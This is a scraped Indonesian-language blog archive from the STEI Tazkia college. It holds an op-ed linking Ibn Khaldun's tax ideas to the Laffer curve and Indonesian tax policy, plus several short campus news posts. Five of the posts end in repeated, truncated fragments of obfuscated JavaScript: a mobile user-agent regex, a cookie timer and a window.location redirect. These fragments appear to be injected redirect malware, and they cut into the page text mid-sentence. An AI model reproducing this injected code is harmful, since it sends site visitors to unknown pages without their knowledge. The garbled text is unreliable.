All posts tagged: Hukum Ekonomi Syariah

Ibnu Khaldun, Pajak, dan Negara

No comments

Fungsi pajak itu adalah untuk keadilan semuanya

Foto Nurizal Ismail

Foto Nurizal Ismail

Oleh: Nurizal Ismail *)

Siapa yang tidak kenal dengan Ibnu Khaldun? Dari Barat sampai ke Timur orang menyebut naman itu. Sejumlah teorinya dalam berbagai bidang keilmuan banyak dikembangkan kaum cerdik cendekia saat ini. Misalnya, Haddad (1977) seorang profesor dari Universitas Sidney mengatakan teori pembangunan ekonomi Adam Smith mempunyai kesamaan dengan pandangan Ibnu Khaldun.

Lainnya, Ekonom dan juga penasihat ekonomi President Amerika Ronald Reagan, Arthur Laffer(1940). Dia berpendapat, teori kurva laffernya adalah hasil pengembangan pemikiran pajak Ibnu Khaldun.

Hal ini kemudian didukung Reagan sebagaimana yang ia sampaikan di New York Times pada 2 Oktober 1981, bahwa Ibnu Khaldun mendalilkan, “Pada awal dinasti, pendapatan pajak besar diperoleh dari penilaian kecil. Kemudian pada akhir dinasti, pendapatan pajak kecil diperoleh dari penilaian besar.”

Fakta yang ditampilkan Gwartneh (2006) menarik untuk dikaji. Judulnya Supply-Side Economics. Di dalamnya ada penjelasan, selama 1980-an kebijakan pemotongan pajak telah dilakukan oleh presiden Reagan yang dikenal dengan Reagonomik.

Undang-undang pajak yang disahkan pada 1981 dan 1986  telah mengurangi tarif pajak penghasilan federal Amerika dari 70 persen menjadi sekitar 33 persen. Bagi performa AS, hal ini berdampaknya terhadap ekonomi selama tahun  tersebut sehingga menjadi sangat mengesankan. Tingkat pertumbuhan GNP riil berakselerasi dari tingkat yang lamban di tahun 1970-an, hingga pertumbuhan ekonomi AS melebihi industri negara industri lainnya kecuali Jepang.

Di tahun ini, isu yang sama muncul pada debat pilpres 2019 yang pertama. Ketika itu paslon No 02 mengangkat isu menaikkan pajak rasio sampai 16 persen. Tetapi terlihat paradoks, karena tujuan peningkatan rasio pajak untuk menghilangkan terjadinya praktik korupsi.

Asumsinya, ketika pendapatan pajak naik, maka dapat meningkatkan gaji para penegak hukum di Indonesia, sehingga tidak akan korupsi. Padahal fungsi pajak itu adalah untuk keadilan semuanya. Drajad Wibowo, sebagaimana diberitakan Republika menyampaikan, pasangan Prabowo-Sandi akan menggunakan gagasan Ibnu Khaldun untuk rasio pajak. Bagaimana gagasan Ibnu Khaldun tentang peningkatan pajak rasio ini?

Nama sebenarnya adalah Abu Zayd Abdur Rahman Ibn Khaldun (732-808/1332-1406). Dia dikenal sebagai sejarawan, politisi, diplomat, dan filusuf sosial yang dilahirkan di Tunisia. Toynbee (1935) menganggap karyanya yang brilian ‘Muqaddimah’ (Pengantar Sejarah) sebagai pencapaian paling agung dan intelektual di abad pertengahan. Di dalamnya terdapat perbendaharaan banyak ilmu, seperti sejarah, psikologi, sosiologi, geografi, ekonomi, ilmu politik, dan lainnya.

Konsep pajak Ibnu Khaldun bermula dari penjelasannya tentang  bangkit dan runtuhnya sebuah dinasti, yang terdiri dari lima tahapan: 1) penaklukan dan kesuksesan, 2) stabilitas dan meninggikan diri sendiri, 3) ekspansi ekonomi dan kenikmatan hasil pembangunan, 4) kepuasan dan kompromi, dan 5) berlebih-lebihan, pemborosan, dan dekadensi. Pada tiap-tiap tahapan struktur pajak dan pengeluaran pemerintah memainkan peranan yang sangat penting, sehingga sangat penting membahas tahapan-tahapan tersebut barulah kita dapat mengerti apa yang dimaksudkan dengan peningkatan pajak rasio menurutnya.

Pada tahapan awal, dinasti memiliki kualitas yang baik pada masyarakatnya, merencanakan pengeluaran yang moderat, dan menghormati kekayaan orang lain. Saat itu dinasti menjauhi pajak yang berat. Pada tahap kedua, penguasa memperoleh kekuasaan penuh atas rakyatnya, mengklaim seluruh otoritas untuk dirinya sendiri, mengecualikan mereka, dan mencegah dari mencoba mengambil bagian di dalamnya. Saat itu adalah tahap stabilisasi dan konsolidasi kekuatan, semakin memperkuat perasaan kelompok dan memberi penghargaan kepada para pendukungnya melalui pengeluaran yang baik.

Pada tahap ketiga merupakan kemakmuran ekonomi dan kenikmatan yang diperoleh pemerintah. Sehingga perhatiannya banyak difokuskan pada pengumpulan pajak, administrasi penerimaan dan pengeluaran publik. Pengembangan kota, pembangunan gedung-gedung besar, peningkatan tunjangan pejabat, dan masyarakat umum menarik perhatian.

Beban pengeluaran mewah dan perpajakan meningkat meskipun ketenangan dan kepuasan terjadi. Tahap ini adalah saat terakhir penguasa berada dalam otoritas penuh. Pada tahap keempat, penguasa puas dengan apa yang telah dibangun oleh para pendahulunya: Ia membatasi aktivitasnya, mengikuti jejak mereka dengan cermat. Ia tidak mengambil inisiatif sendiri. Ekspansi kekuatan politik-ekonomi terhenti dan terjadilah semacam stagnasi.

Pada tahap kelima, penguasa menikmati kemewahan, menjalani kehidupan yang sangat mewah, membuang-buang sumber daya yang terakumulasi oleh aturan sebelumnya. Aparat yang tidak kompeten dan tidak memenuhi syarat dipercayakan untuk melakukan hal-hal terpenting dari negara. Orang-orang pengadilan yang menganggur dihargai, dan kritikus yang tulus dihina dan dihukum. Penguasa kehilangan semua jenis simpati dan perasaan kelompok.

Pada tahap ini pajak meningkat. Sementara pendapatan menurun. Ekonomi hancur dan sistem sosial terganggu. Pemerintah menderita penyakit yang tidak dapat disembuhkan, yang menyebabkan kejatuhannya. Kemudian diambil alih oleh dinasti baru, didukung oleh perasaan kelompok yang kuat dan kohesi sosial.

Tahapan yang ditampilkan Ibn Khaldun ini mungkin sedang terjadi di Indonesia, khususnya pada tahapan kelima. Inilah yang akhirnya mengakibatkan banyak rakyat menginginkan pemerintahan baru, yang akhirnya mungkin akan kembali kepada siklus pertama dalam teori Ibnu Khaldun.

Beliau menggambarkan harta itu saling memerlukan antara rakyat (al-raiyyah) dan penguasa (as-Sulthan); Jika penguasa menahannya, maka kekuasaan pada rakyat akan hilang. Sehingga, tahapan-tahapan dalam posisi puncak kegemilangan harus memerhatikan kemaslahatan masyarakatnya dengan mengelola keuangan negara sebaik mungkin.

Inti dari teori perpajakan Ibn Khaldun yaitu untuk menurunkan pembebanan pajak atas jumlah individu-individu yang mampu melakukan aktivitas usaha atau bisnis. Karena dengan cara ini, mereka mendorong perusahaan memperoleh keuntungan yang lebih besar bagi pengusaha dan pendapatan bagi pemerintah.

Alasannya berdasarkan konsep zakat yang disyariatkan oleh Islam yang rate-nya sangat kecil, tetapi memilki kemaslhatan yang besar buat masyarakat. Tampaknya Ibnu Khaldun sepenuhnya memahami tarif dan pendapatan pajak adalah dua hal yang berbeda.

Tarif pajak yang tinggi bukanlah jaminan bahwa hal itu akan memaksimalkan pendapatan pajak. Sebaliknya itu akan menunjukkan pendapatan yang menurun setelah tahap tertentu. Karena tarif pajak yang lebih tinggi menghambat upaya kerja masyarakat. Itu juga mendorong mereka untuk menyiasati, bahkan menghindari pajak. Dampaknya, bukan meningkat, pendapatan pajak justru akan menyusut.

Sistem perpajakan yang sehat yaitu dengan tidak meminta lebih dari yang bisa ditoleransi. Tidak terlalu banyak membebankan biaya kepada siapa pun. Kemudian  negara memperlakukan semua orang dengan adil. Ini membuat negara lebih mudah mendapatkan kepercayaan masyarakat.

Dapat disimpulkan, menurut Ibnu Khaldun, anggaran pemerintah mungkin terjadi surplus, seimbang, atau defisit tergantung pada tingkat pembangunan dan komposisi pengeluarannya. Karenanya tarif pajak akan rendah, sedang, atau berlebihan.  Semuanya itu dikembalikan kepada pemerintah yang berkuasa mau dikemanakan arah sistem dan kebijakan pajaknya. Gagasan Ibnu Khaldun ini bisa kita ambil sebagai ibrah  dalam pengelolaan perpajakan Indonesia.

*) Direktur Pusat Studi Kitab Klasik Islami STEI Tazkia dan Peneliti ISEFID

Arikel ini telah dimuat di Republika Online

Miftahul AnwarIbnu Khaldun, Pajak, dan Negara
read more

PDO BEM STEI Tazkia mengusung Isu Global SDGs

No comments

Bogor, 25 November 2018 BEM STEI Tazkia mengadakan Pelatihan Dasar Organisasi di International Auditorium 3.1 Kampus STEI Tazkia. Mengusung tema “Run through SDG’s: Dedication and Integrity as Youth’s Core Value”, PDO 2018 ingin memberikan outcome berupa program-program yang memiliki dampak berkelanjutan yang akan dieksekusi oleh seluruh organisasi REMA STEI Tazkia dengan penuh dedikasi dan integritas. PDO 2018 dihadiri oleh 71 petinggi organisasi dan UKM meliputi ketua, wakil ketua, kepala divisi, dan wakil ketua divisi.

Acara dibuka dengan lantunan ayat suci Al-Qur’an pada pukul 08.00, dilanjutkan dengan pemaparan materi pertama oleh Saudara Gilang Ardana yang merupakan Co-founder dan CEO Youth Corps Indonesia. Materi pertama ini mengangkat isu Menejemen Organisasi yang sangat mampu membuka cakrawala berpikir peserta hingga kemudian dapat menjalankan program dengan dasar kebermanfaatan. Selain itu, pengelolaan hubungan dengan stakeholders di masing-masing organisasi juga menjadi diskusi menarik. Materi pertama ini ditutup dengan Focus Group Discussion antar sesama bidang organisasi.

Rizqi ZakiyaPDO BEM STEI Tazkia mengusung Isu Global SDGs
read more

Sinergi Program OJK bersama STEI Tazkia

No comments

Kamis, 6 September 2018 / 25 Dzulhijjah 1439 H. Sentul City, Bogor. Tim OJK yang dihadiri oleh Ibu Fadilah Kartikasasi (Direktur Pasar Modal Syariah), Ibu Dyah Mustika (Kepala Bagian), IbuA�Wuri Ekawati Putri (Kepala Sub Bagian), dan ibu NurulA�Adilah (Staff) berkunjung ke Kampus STEI Tazkia untuk menindaklanjuti kerjasama pengembangan platform Investasi Syariah untuk Generasi Muda. H adir menyambut rombongan Ibu Murniati Mukhlisin (Ketua STEI Tazkia), Bapak Miftkahus Surut (Wakil Ketua Bidang Humas & Kemahasiswaan), dan juga Bapak Tuba Jazil (Kepala Program Study Manajemen Bisnis Syariah).

Dalam diskusi ringan antara kedua lembaga, disepakati kerjasama pengembangan program investasi syariah untuk kalangan remaja, khususunya tingkat SMA dan perguruan tinggi. Program ini sebagai upaya OJK untuk mempersiapkan generasi muda yang lebih siap menyongsong masa depan dengan sadar investasi syariah. Senada dengan OJK, STEI Tazkia sebagai kampus pelopor Ekonomi Islam, juga memiliki tujuan sama untuk mengedukasi masyarakat, termasuk generasi muda untuk semakin sadar akan Ekonomi Syariah, termasuk keuangan syariah dan investasi syariah.

Kerjasama antara OJK dan STEI Tazkia, juga bukan untuk pertama kali nya, Join seminar, Sharing Pemateri, dan juga even lain telah dikembangkan oleh kedua lembaga untuk semakin memperkuat kontribusi keduanya dalam mengedukasi Ekonomi Syariah pada masyarakat luas.

Semoga dengan sinergi kedua lembaga ini, keuangan syariah semakin diterima masyakarat luas, tidak hanya bagi yang telah memiliki ekonomi mapan, tapi juga generasi muda yang akan memegang tampuk kepemimpinan di masa depan. |ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSinergi Program OJK bersama STEI Tazkia
read more

Training of Trainer Program Karantina Quran Civitas Tazkia bersama YKTN

No comments

Dengan izin Alloh Ta’ala, STEI Tazkia bekerjasama dgn Yayasan Karantina Tahfidz Nusantara (YKTN) mengadakan Training of Trainer (TOT) Menghafal Al Quran Sebulan pada hari Senin, 3 September 2018 / 22 Dzhulhijjah 1439 H.

TOT diikuti oleh para pembina, dosen, dan manajemen STEI Tazkia dr jam 08.00 sampai 18.00

Para peserta mengikuti pelatihan dgn penuh semangat di bawah bimbingan Ust. Makmun Al Qurtubi Al Hafidz dan Ust. Yadi Al Hafidz dari YKTN Kuningan Jawa Barat.

Alhamdulillah, YKTN sejak berdiri sejak tahun 2014, telah meluluskan lebih dari 6.000 penghafal al quran dan mempunyai 69 cabang, termasuk cabang STEI Tazkia.

Materi yg dipelajari diantaranya tahsin makharijul huruf, metoda menghafal Al Quran sebulan, dan Standar Operasional Prosedur (SOP) yang telah ditetapkan dalam program YKTN.

Program menghafal Al Quran meliputi program menghafal Al Quran 1 juz sabtu-ahad, menghafal Al Quran 5 juz satu pekan, menghafal Al Quran 15 juz setengah bulan, menghafal Al Quran 30 juz sebulan, program tahsin, dll.

Semoga upaya tersebut semakin menguatkan nilai Quran di Kampus STEI Tazkia dan seluruh Civitasnya |p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaTraining of Trainer Program Karantina Quran Civitas Tazkia bersama YKTN
read more

Product Recycle dan Digital Marketing Training Pada Program Tazkia Masuk Desa

No comments

 

Tazkia Kampus Sentul, 1 September 2018.
LPPM STEI Tazkia menyelenggarakan kegiatan Tazkia Masuk Desa di kampus Sentul. Kegiatan ini dibagi menjadi dua segmen dengan peserta yang berbeda. Salah satunya adalah kegiatan yang bekerjasama dengan Smart Bank (bank sampah yang dikelola oleh Program Studi Ekonomi Syariah bersama dengan himpunan mahasiswa Prodi) dan T Smart (Tazkia Sharia Economics Department Students, Himpunan Mahasiswa Prodi Ekonomi Syariah). Keprihatinan terhadap rendahnya perhatian masyarakat terhadap pengelolaan sampah dan fakta bahwa banyak anak usia SD yang harus bekerja, diantaranya menjadi penjaja keripik singkong di sekitar STEI Tazkia, melatarbelakangi kegiatan ini.
Kegiatan ini bertajuk a�?Product Recycle and Digital Marketing Traininga�?. Objek kegiatan pengabdian untuk sesi ini adalah 20 siswa/siswi SDN Citaringgul 4. Pada sesi pertama, para peserta dipandu oleh Ibu Anita Priantina, diperkenalkan pada pentingnya pengelolaan sampah. Sesi tersebut ditutup dengan latihan mengolah sampah yang dimiliki para peserta, yaitu snack box dan gelas plastik. Sesi praktek dipandu oleh Gunawan Muhammad, salah satu pengurus Smart Bank. Dengan materi dan praktek yang dilakukan, diharapkan para peserta dapat memahami bahwa sampah dapat dimanfaatkan kembali dan didaur ulang menjadi barang baru.


Pada sesi kedua, para siswa/siswi diperkenalkan pada digital marketing. Sesi ini dipandu oleh Muhammad Rayhan dari T Smart. Tujuan dari sesi ini adalah agar para peserta memahami bahwa ada cara mudah yang bisa dilakukan untuk mencari uang, yaitu dengan berjualan secara online. Mereka juga diharapkan untuk memahami bahwa sampah yang telah diolah di sesi sebelumnya memiliki nilai ekonomi yang bisa mendatangkan keuntungan. Diharapkan bahwa di masa yang akan datang, para anak anak yang tadinya terbiasa harus berpanas hujan dalam berjualan makanan ringan di sekitar kampus Tazkia, memiliki solusi yang lebih aman dan lebih mudah untuk mencari uang. )|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaProduct Recycle dan Digital Marketing Training Pada Program Tazkia Masuk Desa
read more

STEI Tazkia Tawarkan Beasiswa untuk Korban Gempa Lombok & Pemenang ASIAN GAMES

No comments

 

Ahad, 3 September 2018 M / 24 Dzulhijjah 1439 H. Murniati Mukhlisin, Ketua STEI Tazkia yang dijumpai pada acara Tazkia Masuk Desa kemarin, mengatakan bahwa Tazkia sudah merancang paket – paket baesiswa tahun ajaran 2018/2019 yang akan dimulai minggu depan.

Baru – baru ini Sekolah Tinggi Ekonomi Islam Tazkia telah bekerja sama dengan Baituzzakah Pertamina Dumai, Riau untuk pengiriman putra daerah binaan Pertamina di sana. Kemudian Tazkia telah menjalin kerjasama dengan Maybank Syariah untuk pemberian beasiswa kepada putra – putri daerah Papua yang tidak mampu. Tak ketinggalan, ada beasiswa istimewa dari penerbit buku Tiga Serangkai, Solo yang selama 10 tahun ini kepada para penghafal qura��an. Adapun kerjasama dengan beberapa pemerintah daerah dan perorangan pun sudah sering dilakukan, dan yang paling anyar adalah pengiriman putra – putri daerah Bangka Belitung yang sudah terjalin sejak 3 tahun yang lalu.

Beasiswa untuk difabel juga sudah berjalan dengan harapan agar kelompok marginal ini dapat diberikan kesempatan untuk mendalami ilmu ekonomi Islam dan dapat menjadi guru bagi yang lain. Saat ini Yayasan Tazkia Cendekia tengah mendata korban gempa Lombok supaya dapat melanjutkan studinya di Tazkia. a�?Sudah tiga periode Pemerintah Daerah Nusa Tenggara Barat mengirimkan putra – putri daerah untuk kuliah di Tazkia atas beasiswa Bank NTB, sudah saatnya kami membantu korban gempa di NTB. Begitu juga para pemenang ASIAN Games yang baru ditutup hari ini sedang dijajaki yang berminat untuk mendaftar di program beasiswa Tazkiaa�? jelas Murniati.

“Bentuk kepedulian ini sudah menjadi fokus kami, sehingga setiap tahun kami mentargetkan 10 persen dari jumlah mahasiswa adalah penerima beasiwaa�? tutup Murniati.

========================
Informasi ini disampaikan oleh:
Humas Kampus
STEI Tazkia, Sentul City, Bogor
Web : http://www.tazkia.ac.id
Daftar Kuliah : http://spmb.tazkia.ac.id
Telp: 021-87962291
WA : 08159551299
Email: humas@tazkia.ac.id
Fb: STEI Tazkia
Twitter : @steitazkia
IG : @steitazkia
Line : @steitazkia )|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSTEI Tazkia Tawarkan Beasiswa untuk Korban Gempa Lombok & Pemenang ASIAN GAMES
read more

Rombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia

No comments

Publikasi karya ilmiah dari hasil penelitian dan pemikiran adalah sebuah keniscayaan, ia adalah salah satu dari bukti nyata ilmu pengetahuan yang dapat diaplikasikan oleh masyarakat. Namun jika karya ilmiah tersebut hanya dipublikasikan pada kalangan internal saja tentu juga tidak menunjukan kualitas yang baik dari para penulisnya. Solusinya adalah seleksi ketat agar setiap karya ilmiah dapat diterbitkan oleh lembaga eksternal, khususnya lembaga yang memiliki kredibilitas nasional dan internasional.

Guna mencapai publikasi karya ilmiah bertaraf internasional, maka pada 9 Agustus 2018/ 27 Dzulqa’dah 1439 H, STEI Tazkia melakukan kunjungan ke kantor International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia. Rombongan kunjungan yang dipimpin langsung oleh Ketua STEI Tazkia Dr. Murniati Mukhlisin, M.Acc diterima langsung oleh Datuk Jamil selaku pejabat IIIT di kantornya komplek International Islamic University Malaysia (IIUM).
Kunjungan ini mendiskusi kerjasama penerbitan antara Tazkia Press (STEI Tazkia) dengan pihak IIIT . Pihak STEI Tazkia mengajukan 10 Judul buku yang nantinya akan diseleksi untuk diterbitkan di lembaga penerbitan bertaraf internasional ini. Dr. Jamil menyebutkan bahwa proses penerbitan di lembaganya dilakukan dengan seleksi yang sangat ketat, khsususnya untuk isu-isu Islamisasi ilmu pengetahuan. Hal ini karena banyak akrya ilmiah yang ada tidak memiliki ruh dan islamic worldview yang jelas. Beliau berharap STEI Tazkia selalu istiqamah dalam upaya melakukan islamisasi ilmu pengetahuan khususnya dalam bidang ekonomi Islam. Salah satunya adalah dengan menerbitkan karya ilmiah dan buku para dosennya.


Dr. Murniati Mukhlisin menyampaikan bahwa penulisan buku teks khususnya bagi para dosen di STEI Tazkia terus digalakkan. a�?Kami sangat mendorong para dosen untuk menghasilkan karya yang nantinya akan menjadi buku daras tidak hanya bagi mahasiswa Tazkia namun juga bagi kampus lainnyaa�?. Hal ini diaminkan oleh Dr. Abdurrahman Misno BP, MEI, selaku Kepala Program Studi Hukum Ekonomi Syariah (Muamalah) yang juga menjadi anggota dalam kunjungan ini. Ia mengungkapkan bahwa publikasi yang baik diawali dengan riset mendalam serta seni dalam menyusun sebuah karya ilmiah.
Hasil dari kunjungan ini adalah dilakukan kerjasama untk terus meningkatkan publikasi artikel dan buku para dosen dan civitas akademika STEI Tazkia tidak hanya bagi internal namun juga untuk pihak eksteral dan bertaraf international. Inilah cita-cita STEI Tazkia untuk menjadi perguruan tinggi kelas dunia yang memiliki spesialisasi dalam bidang ekonomi Islam. Drm. i(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaRombongan STEI Tazkia Mengunjungi International Institute of Islamic Thought (IIIT) East and South East Asia di Kuala Lumpur Malaysia
read more

STEI Tazkia Meriahkan Festival Ekonomi Syariah (FESyar) Reg. Sumatera

No comments

 

Bandar Lampung, 3 Agustus 2018 / 21 Dzulqa’dah 1439 H. STEI Tazkia berkontribusi dalam Even Akbar FESyar (Festival Ekonomi Syariah) Regional Sumatera sebagai bagian dari Road to ISEF (International Shariah Economic Forum) yang akan diadakan kembali tahun ini di Surabaya, Jawa Timur Desember nanti.

Dalam kesempatan ini STEI Tazkia berkontribusi dalam bentuk Pemberian Beasiswa untuk juara lomba Olimpiade Ekonomi Islam dengan Pemberian Beasiswa Pendidikan Kader Ekonomi Syariah full Study di STEI Tazkia.

Putri Utami dan Sephia sebagai siswi kelas akhir yang mendapat kesempatan Beasiswa mengungkapkan kebahagiannya mendapat Study di STEI Tazkia sebagai kampus Pelopor Ekonomi Syariah.

STEI Tazkia juga mendapat kesempatan memberi presentasi peran Tazkia dalam mendukung persiapan generasi Remaja saat ini untuk menjadi ahli ekonomi syariah. Dengan semakin tinggi nya kesadaran masyarakat akan Ekonomi Syariah, STEI Tazkia semakin semangat berperan untuk menyambut antusiasme masyarakat untuk semakin mengenal Ekonomi Syariah.

Komitmen tersebut diwujudkan dalam bentuk terwujudnya lima program Study di STEI Tazkia yang memfasilitasi tenaga pendidik (S.Pd.), Bisnisman, praktisi, dan peneliti (S.E.), akuntan serta auditor (S.Akun), serta Ahli Hukum Ekonomi Islam (S.H.). Besar harapan dengan semua Program Study tersebut, STEI Tazkia mampu menjembatani Gap antara teori Ekonomi Islam dan praktik nyata di kancah Nasional maupun Global.

